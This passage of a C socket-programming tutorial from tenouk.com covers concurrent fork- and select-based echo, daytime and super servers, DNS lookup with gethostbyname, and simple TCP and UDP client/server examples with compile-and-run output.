- Close requires messages and time.
- If the server closes you may be safe.
- If the client must close, the client may not cooperate.
- In our simple server, a client can make rapid calls and use resources associated with TCP shutdown
timeout.

Concurrent, Connection-Oriented Servers (TCP)

The Value of Concurrency

www.tenouk.com
- An iterative server may block for excessive time periods.
- An example is an echo server. A client could send many megabytes blocking other clients for
substantial periods.
- A concurrent echo server could handle multiple clients simultaneously. Abusive clients would not
affect polite clients as much.

A Concurrent Echo Server Using fork()

- The following is a sample codes for concurrent Echo server using fork().

int main(int argc, char *argv[])


{
char *service = "echo"; /* service name or port number*/
struct sockaddr_in fsin; /* the address of a client */
int alen; /* length of client's address */
int msock; /* master server socket */
int ssock; /* slave server socket */

msock = passiveTCP(service, QLEN);

signal(SIGCHLD, reaper);

while (1)
{
alen = sizeof(fsin);
ssock = accept(msock, (struct sockaddr *)&fsin, &alen);
if(ssock < 0) {
if(errno == EINTR)
continue;
errexit("accept: %s\n", strerror(errno));
}
switch (fork())
{
/* child */
case 0:
close(msock);
exit(TCPechod(ssock));
/* parent */
default:
close(ssock);
break;
case -1:
errexit("fork: %s\n", strerror(errno));
}
}
}

int TCPechod(int fd)


{
char buf[BUFSIZ];
int cc;

while (cc = read(fd, buf, sizeof buf))


{
if(cc < 0)
errexit("echo read: %s\n", strerror(errno));
if(write(fd, buf, cc) < 0)
errexit("echo write: %s\n", strerror(errno));
}
return 0;
}

void reaper(int sig)


{
int status;

while (wait3(&status, WNOHANG, (struct rusage *)0) >= 0)


/* empty */;
}

Single-Process, Concurrent Servers (TCP)

Data-driven Processing

www.tenouk.com
- Arrival of data triggers processing.
- A message is typically a request.
- Server replies and awaits additional requests.
- If processing time is small, the requests may be possible to handle sequentially.
- Timesharing would be necessary only when the processing load is too high for sequential processing.
- Timesharing with multiple slaves is easier.

Using Select for Data-driven Processing

- A process calls select to wait for one (or more) of a collection of open files (or sockets) to be ready for
I/O.

int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval
*timeout);

FD_CLR(int fd, fd_set *set);


FD_ISSET(int fd, fd_set *set);
FD_SET(int fd, fd_set *set);
FD_ZERO(fd_set *set);

- select() returns the number of fd's ready for I/O.


- FD_ISSET is used to determine which fd's are ready.
- select() returns 0 if the timer expires.
- select() returns -1 if there is an error.

An ECHO Server using a Single Process

- The following is a sample codes for Echo server using a single process.

int main(int argc, char *argv[])


{
char *service = "echo";
struct sockaddr_in fsin;
int msock;
fd_set rfds;
fd_set afds;
int alen;
int fd, nfds;
msock = passiveTCP(service, QLEN);

nfds = getdtablesize();
FD_ZERO(&afds);
FD_SET(msock, &afds);

while (1) {
memcpy(&rfds, &afds, sizeof(rfds));

if(select(nfds, &rfds, (fd_set *)0, (fd_set *)0, (struct timeval *)0) < 0)
errexit("select: %s\n", strerror(errno));
if(FD_ISSET(msock, &rfds))
{
int ssock;

alen = sizeof(fsin);
ssock = accept(msock, (struct sockaddr *)&fsin, &alen);
if(ssock < 0)
errexit("accept: %s\n", strerror(errno));
FD_SET(ssock, &afds);
}
for(fd=0; fd < nfds; ++fd)
if(fd != msock && FD_ISSET(fd, &rfds))
if(echo(fd) == 0)
{
(void) close(fd);
FD_CLR(fd, &afds);
}
}
}

int echo(int fd)


{

www.tenouk.com
char buf[BUFSIZ];
int cc;

cc = read(fd, buf, sizeof buf);


if(cc < 0)
errexit("echo read: %s\n", strerror(errno));
if(cc && write(fd, buf, cc) < 0)
errexit("echo write: %s\n", strerror(errno));
return cc;
}

Multiprotocol Servers

Why use multiple protocols in a server?

- Using separate UDP and TCP servers gives the system administrator more flexibility.
- Using separate servers result in 2 moderately simple servers.
- Using one server eliminates duplicate code simplifying software maintenance.
- Using one server reduces the number of active processes.

A Multiprotocol DAYTIME Server

- The following is a sample codes for Multiprotocol Daytime server.

int main(int argc, char *argv[])


{
char *service = "daytime"; /* service name or port number */
char buf[LINELEN+1]; /* buffer for one line of text */
struct sockaddr_in fsin; /* the request from address */
int alen; /* from-address length */
int tsock; /* TCP master socket */
int usock; /* UDP socket */
int nfds;
fd_set rfds; /* readable file descriptors */

tsock = passiveTCP(service, QLEN);


usock = passiveUDP(service);
/* bit number of max fd */
nfds = MAX(tsock, usock) + 1;

FD_ZERO(&rfds);

while (1) {
FD_SET(tsock, &rfds);
FD_SET(usock, &rfds);

if(select(nfds, &rfds, (fd_set *)0, (fd_set *)0, (struct timeval *)0) < 0)
errexit("select error: %s\n", strerror(errno));
if(FD_ISSET(tsock, &rfds))
{
/* TCP slave socket */
int ssock;
alen = sizeof(fsin);
ssock = accept(tsock, (struct sockaddr *)&fsin, &alen);
if(ssock < 0)
errexit("accept failed: %s\n", strerror(errno));
daytime(buf);
(void) write(ssock, buf, strlen(buf));
(void) close(ssock);
}
if(FD_ISSET(usock, &rfds))
{
alen = sizeof(fsin);
if(recvfrom(usock, buf, sizeof(buf), 0, (struct sockaddr *)&fsin, &alen) < 0)
errexit("recvfrom: %s\n", strerror(errno));
daytime(buf);
(void) sendto(usock, buf, strlen(buf), 0, (struct sockaddr *)&fsin, sizeof(fsin));
}
}
}

int daytime(char buf[])


{
char *ctime();
time_t now;

www.tenouk.com
(void) time(&now);
sprintf(buf, "%s", ctime(&now));
}

Multiservice Servers

Why combine services into one server?

- Fewer processes.
- Less memory.
- Less code duplication.
- Server complexity is really a result of accepting connections and handling concurrency.
- Having one server means the complex code does not need to be replicated.

Iterative Connectionless Server Design

- Server opens multiple UDP sockets each bound to a different port.


- Server keeps an array of function pointers to associate each socket with a service functions.
- Server uses select to determine which socket (port) to service next and calls the proper service function.

Iterative Connection-Oriented Server Design

- Server opens multiple passive TCP sockets each bound to a different port.
- Server keeps an array of function pointers to associate each socket with a service functions.
- Server uses select to determine which socket (port) to service next.
- When a connection is ready, server calls accept to start handling a connection.
- Server calls the proper service function.

Concurrent Connection-Oriented Server Design

- Master uses select to wait for connections over a set of passive TCP sockets.
- Master forks after accept.
- Slave handles communication with the client.

Single-Process Server Design

- Master uses select to wait for connections over a set of passive TCP sockets.
- After each accepts the new socket is added to the fd_set(s) as needed to handle client
communication.
- Complex if the client protocols are not trivial.

Invoking Separate Programs from a Server

- Master uses select() to wait for connections over a set of passive TCP sockets.
- Master forks after accept.
- Child process uses execve to start a slave program to handle client communication.
- Different protocols are separated making it simpler to maintain.
- Changes to a slave program can be implemented without restarting the master.

Multiservice, Multiprotocol Servers

- Master uses select to wait for connections over a set of passive TCP sockets.
- In addition the fd_set includes a set of UDP sockets awaiting client messages.
- If a UDP message arrives, the master calls a handler function which formulates and issues a reply.
- If a TCP connection is needed the master calls accept.
- For simpler TCP connections, the master can handle read and write requests iteratively.
- The master can also use select.
- Lastly the master can use fork and let the child handle the connection.

Code Example of Super Server

- The following is a sample codes for super server.

www.tenouk.com
struct service {
char *sv_name;
char sv_useTCP;
int sv_sock;
int (*sv_func)(int);
};

struct service svent[] = {


{ "echo", TCP_SERV, NOSOCK, TCPechod },
{ "chargen", TCP_SERV, NOSOCK, TCPchargend },
{ "daytime", TCP_SERV, NOSOCK, TCPdaytimed },
{ "time", TCP_SERV, NOSOCK, TCPtimed },
{ 0, 0, 0, 0 },
};

int main(int argc, char *argv[])


{
struct service *psv, /* service table pointer */
*fd2sv[NOFILE]; /* map fd to service pointer */
int fd, nfds;
fd_set afds, rfds; /* readable file descriptors */

nfds = 0;
FD_ZERO(&afds);
for(psv = &svent[0]; psv->sv_name; ++psv)
{
if(psv->sv_useTCP)
psv->sv_sock = passiveTCP(psv->sv_name, QLEN);
else
psv->sv_sock = passiveUDP(psv->sv_name);
fd2sv[psv->sv_sock] = psv;
nfds = MAX(psv->sv_sock+1, nfds);
FD_SET(psv->sv_sock, &afds);
}

(void) signal(SIGCHLD, reaper);

while (1) {
memcpy(&rfds, &afds, sizeof(rfds));
if(select(nfds, &rfds, (fd_set *)0, (fd_set *)0, (struct timeval *)0) < 0)
{
if(errno == EINTR)
continue;
errexit("select error: %s\n", strerror(errno));
}
for(fd=0; fd<nfds; ++fd)
{
if(FD_ISSET(fd, &rfds))
{
psv = fd2sv[fd];
if(psv->sv_useTCP)
doTCP(psv);
else
psv->sv_func(psv->sv_sock);
}
}
}
}

/* doTCP() - handle a TCP service connection request */


void doTCP(struct service *psv)
{
/* the request from address */
struct sockaddr_in fsin;
/* from-address length */
int alen;
int fd, ssock;

alen = sizeof(fsin);
ssock = accept(psv->sv_sock, (struct sockaddr *)&fsin, &alen);
if(ssock < 0)
errexit("accept: %s\n", strerror(errno));
switch (fork())
{
case 0:
break;
case -1:

www.tenouk.com
errexit("fork: %s\n", strerror(errno));
default:
(void) close(ssock);
/* parent */
return;
}
/* child */
for(fd = NOFILE; fd >= 0; --fd)
if(fd != ssock) (void) close(fd);
exit(psv->sv_func(ssock));
}

/* reaper() - clean up zombie children */


void reaper(int sig)
{
int status;
while(wait3(&status, WNOHANG, (struct rusage *)0) >= 0)
/* empty */;
}

Some Idea In Managing Server Concurrency

Concurrency vs Iteration

Making the decision

- Program design is vastly different.


- Programmer needs to decide early.
- Network and computer speeds change.
- Optimality is a moving target.
- Programmer must use insight based on experience to decide which is better.

Level of Concurrency

- Number of concurrent clients.


- Iterative means 1 client at a time.
- Unbounded concurrency allows flexibility.
- TCP software limits the number of connections.
- OS limits each process to a fixed number of open files.
- OS limits the number of processes.

Problems with Unbounded Concurrency

- OS can run out of resources such as memory, processes, sockets, buffers causing blocking, thrashing,
crashing...
- Demand for one service can inhibit others e.g. web server may prevent other use.
- Over-use can limit performance e.g. ftp server could be so slow that clients cancel requests wasting
time spent doing a partial transfer.

Cost of Concurrency

- Assuming a forking concurrent server, each connection requires time for a process creation (c).
- Each connection also requires some time for processing requests (p).
- Consider 2 requests arriving at the same time.
- Iterative server completes both at time 2p.
- Concurrent server completes both perhaps at time 2c+p.
- If p < 2c the iterative server is faster.
- The situation can get worse with more requests.
- The number of active processes can exceed the CPU capacity.
- Servers with heavy loads generally try to dodge the process creation cost.

Process Pre-allocation to Limit Delays

- Master server process forks n times.


- The n slaves handle up to n clients.
- Operates like n iterative servers.

www.tenouk.com
- Due to child processes inheriting the parent's passive socket, the slaves can all wait in accept on the
same socket.
- For UDP, the slaves can all call recvfrom on the same socket.
- To avoid problems like memory leaks, the slaves can be periodically replaced.
- For UDP, bursts can overflow buffers causing data loss. Pre-allocation can limit this problem.

Dynamic Pre-allocation

- Pre-allocation can cause extra processing time if many slaves are all waiting on the same socket.
- If the server is busy, it can be better to have many slaves pre-allocated.
- If the server is idle, it can be better to have very few slaves pre-allocated.
- Some servers (Apache) adjust the level of concurrency according to service demand.

Delayed Allocation

- Rather than immediately forking, the master can quickly examine a request.
- It may be faster for some requests to handle them in the master rather than forking.
- Longer requests may be more appropriate to handle in a child process.
- If it is hard to quickly estimate processing time, the server can set a timer to expire after a small time
and then fork to let a child finish the request.

Client Concurrency

- Shorter Response Time.


- Increased Throughput.
- Concurrency Allows Better Control.
- Communicating with Multiple Servers.
- Achieving Concurrency with a Single Client Process.

------------------------Program Examples----------------------

DNS

- DNS stands for "Domain Name System" (for Windows implementation it is called Domain Name
Service). For socket it has three major components:

▪ Domain name space and resource records: Specifications for a tree-structured name space and the
data associated with the names.
▪ Name servers: Server programs that hold information about the domain tree structure and that set
information.
▪ Resolvers: Programs that extract information from name servers in response to client requests.

- DNS used to translate the IP address to domain name and vice versa. This way, when someone enters:

telnet serv.google.com

- telnet can find out that it needs to connect() to let say, "198.137.240.92". To get these
information we can use gethostbyname():

#include <netdb.h>

struct hostent *gethostbyname(const char *name);

- As you see, it returns a pointer to a struct hostent, and struct hostent is shown below:

struct hostent
{
char *h_name;
char **h_aliases;
int h_addrtype;
int h_length;
char **h_addr_list;
};

#define h_addr h_addr_list[0]

- And the descriptions:

www.tenouk.com
Member Description
h_name Official name of the host.
h_aliases A NULL-terminated array of alternate names for the host.
h_addrtype The type of address being returned; usually AF_INET.
h_length The length of the address in bytes.
A zero-terminated array of network addresses for the host. Host
h_addr_list
addresses are in Network Byte Order.
h_addr The first address in h_addr_list.

Table 40.1

- gethostbyname() returns a pointer to the filled struct hostent, or NULL on error but errno
is not set, h_errno is set instead.
- As said before in implementation we use Domain Name Service in Windows and BIND in Unix/Linux.
Here, we configure the Forward Lookup Zone for name to IP resolution and Reverse Lookup Zone for
the reverse.
- The following is a program example using the gethostname().

/*****getipaddr.c ******/
/****a hostname lookup program example******/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(int argc, char *argv[])


{
struct hostent *h;

/*error check the command line*/


if(argc != 2)
{
fprintf(stderr, "Usage: %s <domain_name>\n", argv[0]);
exit(1);
}

/*get the host info*/


if((h=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname(): ");
exit(1);
}
else
printf("gethostbyname() is OK.\n");

printf("The host name is: %s\n", h->h_name);


printf("The IP Address is: %s\n", inet_ntoa(*((struct in_addr *)h->h_addr)));
printf("The address length is: %d\n", h->h_length);

printf("Sniffing other names...sniff...sniff...sniff...\n");


int j = 0;
do
{
printf("An alias #%d is: %s\n", j, h->h_aliases[j]);
j++;
}
while(h->h_aliases[j] != NULL);

printf("Sniffing other IPs...sniff....sniff...sniff...\n");


int i = 0;
do
{
printf("Address #%i is: %s\n", i, inet_ntoa(*((struct in_addr *)(h->h_addr_list[i]))));
i++;
}
while(h->h_addr_list[i] != NULL);
return 0;
}

www.tenouk.com
- Compile and link the program.

[bodo@bakawali testsocket]$ gcc -g getipaddr.c -o getipaddr

- Run the program. Because of the server used in this testing is using public IP address, we can test it
querying the public domain such as www.yahoo.com :o).

[bodo@bakawali testsocket]$ ./getipaddr www.yahoo.com


The host name is: www.yahoo.akadns.net
The IP Address is: 66.94.230.50
The address length is: 4
Sniffing other names...sniff...sniff...sniff...
An alias #0 is: www.yahoo.com
Sniffing other IPs...sniff....sniff...sniff...
Address #0 is: 66.94.230.50
Address #1 is: 66.94.230.36
Address #2 is: 66.94.230.41
Address #3 is: 66.94.230.34
Address #4 is: 66.94.230.47
Address #5 is: 66.94.230.32
Address #6 is: 66.94.230.35
Address #7 is: 66.94.230.45

- Again, running the program testing another domain.

[bodo@bakawali testsocket]$ ./getipaddr www.google.com


The host name is: www.l.google.com
The IP Address is: 66.102.7.104
The address length is: 4
Sniffing other names...sniff...sniff...sniff...
An alias #0 is: www.google.com
Sniffing other IPs...sniff....sniff...sniff...
Address #0 is: 66.102.7.104
Address #1 is: 66.102.7.99
Address #2 is: 66.102.7.147
[bodo@bakawali testsocket]$

- With gethostbyname(), you can’t use perror() to print error message since errno is not used
instead, call herror().
- You simply pass the string that contains the machine name ("www.google.com") to
gethostbyname(), and then grab the information out of the returned struct hostent.
- The only possible weirdness might be in the printing of the IP address. Here, h->h_addr is a
char*, but inet_ntoa() wants a struct in_addr passed to it. So we need to cast h-
>h_addr to a struct in_addr*, then dereference it to get the data.

Some Client-Server Background

- Just about everything on the network deals with client processes talking to server processes and vice-
versa. For example take a telnet.
- When you telnet to a remote host on port 23 at client, a program on that server normally called
telnetd (telnet daemon), will respond. It handles the incoming telnet connection, sets you up with a
login prompt, etc. In Windows this daemon normally called a service. The daemon or service must be
running in order to do the communication.
- Note that the client-server pair can communicate using SOCK_STREAM, SOCK_DGRAM, or anything
else (as long as they’re using the same protocol). Some good examples of client-server pairs are
telnet/telnetd, ftp/ftpd, or bootp/bootpd. Every time you use ftp, there’s a remote
program, ftpd that will serve you.
- Often, there will only be one server, and that server will handle multiple clients using fork() etc. The
basic routine is: server will wait for a connection, accept() it and fork() a child process to handle
it. The following program example is what our sample server does.

A Simple Stream Server Program Example

- What this server does is send the string "This is a test string from server!" out over a
stream connection.

www.tenouk.com
- To test this server, run it in one window and telnet to it from another window or run it in a server and
telnet to it from another machine with the following command.

telnet the_remote_hostname 3490

- Where the_remote_hostname is the name of the machine you’re running it on. The following is
the server source code:

/*serverprog.c - a stream socket server demo*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

/* the port users will be connecting to */


#define MYPORT 3490
/* how many pending connections queue will hold */
#define BACKLOG 10

void sigchld_handler(int s)
{
while(wait(NULL) > 0);
}

int main(int argc, char *argv[])


{
/*listen on sock_fd, new connection on new_fd*/
int sockfd, new_fd;
/*my address information*/
struct sockaddr_in my_addr;
/*connector’s address information*/
struct sockaddr_in their_addr;
int sin_size;
struct sigaction sa;
int yes = 1;

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)


{
perror("Server-socket() error lol!");
exit(1);
}
else
printf("Server-socket() sockfd is OK...\n");

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)


{
perror("Server-setsockopt() error lol!");
exit(1);
}
else
printf("Server-setsockopt is OK...\n");

/* host byte order*/


my_addr.sin_family = AF_INET;
/* short, network byte order*/
my_addr.sin_port = htons(MYPORT);
/* automatically fill with my IP*/
my_addr.sin_addr.s_addr = INADDR_ANY;

printf("Server-Using %s and port %d...\n", inet_ntoa(my_addr.sin_addr), MYPORT);

/* zero the rest of the struct*/


memset(&(my_addr.sin_zero), '\0', 8);

if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)


{
perror("Server-bind() error");
exit(1);
}
else
printf("Server-bind() is OK...\n");

www.tenouk.com
if(listen(sockfd, BACKLOG) == -1)
{
perror("Server-listen() error");
exit(1);
}
printf("Server-listen() is OK...Listening...\n");

/*clean all the dead processes*/


sa.sa_handler = sigchld_handler;
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;

if(sigaction(SIGCHLD, &sa, NULL) == -1)


{
perror("Server-sigaction() error");
exit(1);
}
else
printf("Server-sigaction() is OK...\n");

/*accept() loop*/
while(1)
{
sin_size = sizeof(struct sockaddr_in);
if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1)
{
perror("Server-accept() error");
continue;
}
else
printf("Server-accept() is OK...\n");
printf("Server-new socket, new_fd is OK...\n");
printf("Server: Got connection from %s\n", inet_ntoa(their_addr.sin_addr));

/* this is the child process */


if(!fork())
{
/* child doesn’t need the listener */
close(sockfd);

if(send(new_fd, "This is a test string from server!\n", 37, 0) == -1)


perror("Server-send() error lol!");
close(new_fd);
exit(0);
}
else
printf("Server-send is OK...!\n");

/* parent doesn’t need this*/


close(new_fd);
printf("Server-new socket, new_fd closed successfully...\n");
}
return 0;
}

- Compile and link the program.

[bodo@bakawali testsocket]$ gcc -g serverprog.c -o serverprog

- Run the program.

[bodo@bakawali testsocket]$ ./serverprog


Server-socket() sockfd is OK...
Server-setsockopt() is OK...
Server-Using 0.0.0.0 and port 3490...
Server-bind() is OK...
Server-listen() is OK...Listening...
Server-sigaction() is OK...

[1]+ Stopped ./serverprog

[bodo@bakawali testsocket]$

- Verify that the program is running in the background. You may do this from another terminal.

www.tenouk.com
[bodo@bakawali testsocket]$ bg
[1]+ ./serverprog &

- Verify that the program/process is listening on the specified port, waiting for connection.

[bodo@bakawali testsocket]$ netstat -a | grep 3490


tcp 0 0 *:3490 *:* LISTEN

- Again, verify that the program/process is listening, waiting for connection.

[bodo@bakawali testsocket]$ ps aux | grep serverprog


bodo 2586 0.0 0.2 2940 296 pts/3 S 14:04 0:00 ./serverprog
bodo 2590 0.0 0.5 5432 660 pts/3 R+ 14:04 0:00 grep serverprog

- Then, trying the telnet. Open another terminal, telnet itself with the specified port number. Here we
use the server name, bakawali. When the string is displayed press the Escape character Ctrl+] ( ^]
). Then we have a real telnet session.

[bodo@bakawali testsocket]$ telnet bakawali 3490


Trying 203.106.93.94...
Connected to bakawali.jmti.gov.my (203.106.93.94).
Escape character is '^]'.
This is the test string from server!
^]
telnet> ?
Commands may be abbreviated. Commands are:

close close current connection


logout forcibly logout remote user and close the connection
display display operating parameters
mode try to enter line or character mode ('mode ?' for more)
open connect to a site
quit exit telnet
send transmit special characters ('send ?' for more)
set set operating parameters ('set ?' for more)
unset unset operating parameters ('unset ?' for more)
status print status information
toggle toggle operating parameters ('toggle ?' for more)
slc change state of special charaters ('slc ?' for more)
auth turn on (off) authentication ('auth ?' for more)
encrypt turn on (off) encryption ('encrypt ?' for more)
forward turn on (off) credential forwarding ('forward ?' for more)
z suspend telnet
! invoke a subshell
environ change environment variables ('environ ?' for more)
? print help information
telnet>

- Type quit to exit the session.

...
telnet> quit
Connection closed.
[bodo@bakawali ~]$

- If we do not stop the server program/process (Ctrl+Z), at the server terminal the following messages
should be displayed. Press Enter (Carriage Return) key back to the prompt.

[bodo@bakawali testsocket]$ ./serverprog


Server-socket() sockfd is OK...
Server-setsockopt() is OK...
Server-Using 0.0.0.0 and port 3490...
Server-bind() is OK...
Server-listen() is OK...Listening...
Server-sigaction() is OK...
Server-accept() is OK...
Server-new socket, new_fd is OK...
Server: Got connection from 203.106.93.94
Server-send() is OK...!
Server-new socket, new_fd closed successfully...

- To stop the process just issue a normal kill command. Before that verify again.

www.tenouk.com
[bodo@bakawali testsocket]$ netstat -a | grep 3490
tcp 0 0 *:3490 *:* LISTEN

[bodo@bakawali testsocket]$ ps aux | grep ./serverprog


bodo 3184 0.0 0.2 1384 324 pts/3 S 23:46 0:00 ./serverprog
bodo 3188 0.0 0.5 3720 652 pts/3 R+ 23:48 0:00 grep ./serverprog

[bodo@bakawali testsocket]$ kill -9 3184


[bodo@bakawali testsocket]$ netstat -a | grep 3490
[1]+ Killed ./serverprog

[bodo@bakawali testsocket]$

- The server program seems OK. Next section is a client program, clientprog.c that we will use to
test our server program, serverprog.c.
- The sigaction() code is responsible for cleaning the zombie processes that appear as the
fork()ed child processes. You will get the message from this server by using the client program
example presented in the next section.

A Simple Stream Client Program Example

- This client will connect to the host that you specify in the command line, with port 3490. It will get the
string that the previous server sends. The following is the source code.

/*** clientprog.c ****/


/*** a stream socket client demo ***/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

//the port client will be connecting to


#define PORT 3490
//max number of bytes we can get at once
#define MAXDATASIZE 300

int main(int argc, char *argv[])


{
int sockfd, numbytes;
char buf[MAXDATASIZE];
struct hostent *he;
//connector’s address information
struct sockaddr_in their_addr;

//if no command line argument supplied


if(argc != 2)
{
fprintf(stderr, "Client-Usage: %s the_client_hostname\n", argv[0]);
//just exit
exit(1);
}

//get the host info


if((he=gethostbyname(argv[1])) == NULL)
{
perror("gethostbyname()");
exit(1);
}
else
printf("Client-The remote host is: %s\n", argv[1]);

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)


{
perror("socket()");
exit(1);
}
else
printf("Client-The socket() sockfd is OK...\n");

www.tenouk.com
//host byte order
their_addr.sin_family = AF_INET;
//short, network byte order
printf("Server-Using %s and port %d...\n", argv[1], PORT);
their_addr.sin_port = htons(PORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
//zero the rest of the struct
memset(&(their_addr.sin_zero), '\0', 8);

if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)


{
perror("connect()");
exit(1);
}
else
printf("Client-The connect() is OK...\n");

if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)


{
perror("recv()");
exit(1);
}
else
printf("Client-The recv() is OK...\n");

buf[numbytes] = '\0';
printf("Client-Received: %s", buf);

printf("Client-Closing sockfd\n");
close(sockfd);
return 0;
}

- Compile and link the program.

[bodo@bakawali testsocket]$ gcc -g clientprog.c -o clientprog

- Run the program without argument.

[bodo@bakawali testsocket]$ ./clientprog


Client-Usage: ./clientprog the_client_hostname

- Run the program with server IP address or name as an argument. Here we use IP address.
- Make sure your previous serverprog program is running. We will connect using the same server.
You can try running the server and client program at different machines.

[bodo@bakawali testsocket]$ ./clientprog 203.106.93.94



[bodo@bakawali testsocket]$ ./clientprog bakawali
Client-The remote host is: bakawali
Client-The socket() sockfd is OK...
Server-Using bakawali and port 3490...
Client-The connect() is OK...
Client-The recv() is OK...
Client-Received: This is the test string from server!
Client-Closing sockfd

- Verify the connection.

[bodo@bakawali testsocket]$ netstat -a | grep 3490


tcp 0 0 *:3490 *:* LISTEN
tcp 0 0 bakawali.jmti.gov.my:3490 bakawali.jmti.gov.my:1358
TIME_WAIT
[bodo@bakawali testsocket]$

- At server’s console, we have the following messages.

[bodo@bakawali testsocket]$ ./serverprog


Server-socket() sockfd is OK...
Server-setsockopt() is OK...
Server-Using 0.0.0.0 and port 3490...

www.tenouk.com
Server-bind() is OK...
Server-listen() is OK...Listening...
Server-sigaction() is OK...
Server-accept() is OK...
Server-new socket, new_fd is OK...
Server: Got connection from 203.106.93.94
Server-send() is OK...!
Server-new socket, new_fd closed successfully...

- Well, our server and client programs work! Here we run the server program and let it listens for
connection. Then we run the client program. They got connected!
- Notice that if you don’t run the server before you run the client, connect() returns "Connection
refused" message as shown below.

[bodo@bakawali testsocket]$ ./clientprog bakawali


Client-The remote host is: bakawali
Client-The socket() sockfd is OK...
Server-Using bakawali and port 3490...
connect: Connection refused

Datagram Sockets: The Connectionless

- The following program examples use the UDP, the connectionless datagram. The senderprog.c
(client) is sending a message to receiverprog.c (server) that acts as listener.

/*receiverprog.c - a server, datagram sockets*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* the port users will be connecting to */
#define MYPORT 4950
#define MAXBUFLEN 500

int main(int argc, char *argv[])


{
int sockfd;
/* my address information */
struct sockaddr_in my_addr;
/* connector’s address information */
struct sockaddr_in their_addr;
int addr_len, numbytes;
char buf[MAXBUFLEN];

if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)


{
perror("Server-socket() sockfd error lol!");
exit(1);
}
else
printf("Server-socket() sockfd is OK...\n");

/* host byte order */


my_addr.sin_family = AF_INET;
/* short, network byte order */
my_addr.sin_port = htons(MYPORT);
/* automatically fill with my IP */
my_addr.sin_addr.s_addr = INADDR_ANY;
/* zero the rest of the struct */
memset(&(my_addr.sin_zero), '\0', 8);

if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)


{
perror("Server-bind() error lol!");
exit(1);
}
else
printf("Server-bind() is OK...\n");

addr_len = sizeof(struct sockaddr);

www.tenouk.com
if((numbytes = recvfrom(sockfd, buf, MAXBUFLEN-1, 0, (struct sockaddr *)&their_addr,
&addr_len)) == -1)
{
perror("Server-recvfrom() error lol!");
/*If something wrong, just exit lol...*/
exit(1);
}
else
{
printf("Server-Waiting and listening...\n");
printf("Server-recvfrom() is OK...\n");
}

printf("Server-Got packet from %s\n", inet_ntoa(their_addr.sin_addr));


printf("Server-Packet is %d bytes long\n", numbytes);
buf[numbytes] = '\0';
printf("Server-Packet contains \"%s\"\n", buf);

if(close(sockfd) != 0)
printf("Server-sockfd closing failed!\n");
else
printf("Server-sockfd successfully closed!\n");
return 0;
}

- Compile and link the program.

[bodo@bakawali testsocket]$ gcc -g receiverprog.c -o receiverprog

- Run the program, and then verify that it is running in background, start listening, waiting for
connection.

[bodo@bakawali testsocket]$ ./receiverprog


Server-socket() sockfd is OK...
Server-bind() is OK...

[1]+ Stopped ./receiverprog


[bodo@bakawali testsocket]$ bg
[1]+ ./receiverprog &
[bodo@bakawali testsocket]$ netstat -a | grep 4950
udp 0 0 *:4950 *:*
[bodo@bakawali testsocket]$

- This is UDP server, trying telnet to this server will fail because telnet uses TCP instead of UDP.

[bodo@bakawali testsocket]$ telnet 203.106.93.94 4950


Trying 203.106.93.94...
telnet: connect to address 203.106.93.94: Connection refused
telnet: Unable to connect to remote host: Connection refused
[bodo@bakawali testsocket]$

- Notice that in our call to socket() we’re using SOCK_DGRAM. Also, note that there’s no need to
listen() or accept(). The following is the source code for senderprog.c (the client).

/*senderprog.c - a client, datagram*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
/* the port users will be connecting to */
#define MYPORT 4950

int main(int argc, char *argv[])


{
int sockfd;
/* connector’s address information */

www.tenouk.com
struct sockaddr_in their_addr;
struct hostent *he;
int numbytes;

if (argc != 3)
{
fprintf(stderr, "Client-Usage: %s <hostname> <message>\n", argv[0]);
exit(1);
}
/* get the host info */
if ((he = gethostbyname(argv[1])) == NULL)
{
perror("Client-gethostbyname() error lol!");
exit(1);
}
else
printf("Client-gethostname() is OK...\n");

if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)


{
perror("Client-socket() error lol!");
exit(1);
}
else
printf("Client-socket() sockfd is OK...\n");

/* host byte order */


their_addr.sin_family = AF_INET;
/* short, network byte order */
printf("Using port: 4950\n");
their_addr.sin_port = htons(MYPORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
/* zero the rest of the struct */
memset(&(their_addr.sin_zero), '\0', 8);

if((numbytes = sendto(sockfd, argv[2], strlen(argv[2]), 0, (struct sockaddr *)&their_addr,


sizeof(struct sockaddr))) == -1)
{
perror("Client-sendto() error lol!");
exit(1);
}
else
printf("Client-sendto() is OK...\n");

printf("sent %d bytes to %s\n", numbytes, inet_ntoa(their_addr.sin_addr));

if (close(sockfd) != 0)
printf("Client-sockfd closing is failed!\n");
else
printf("Client-sockfd successfully closed!\n");
return 0;
}

- Compile and link the program.

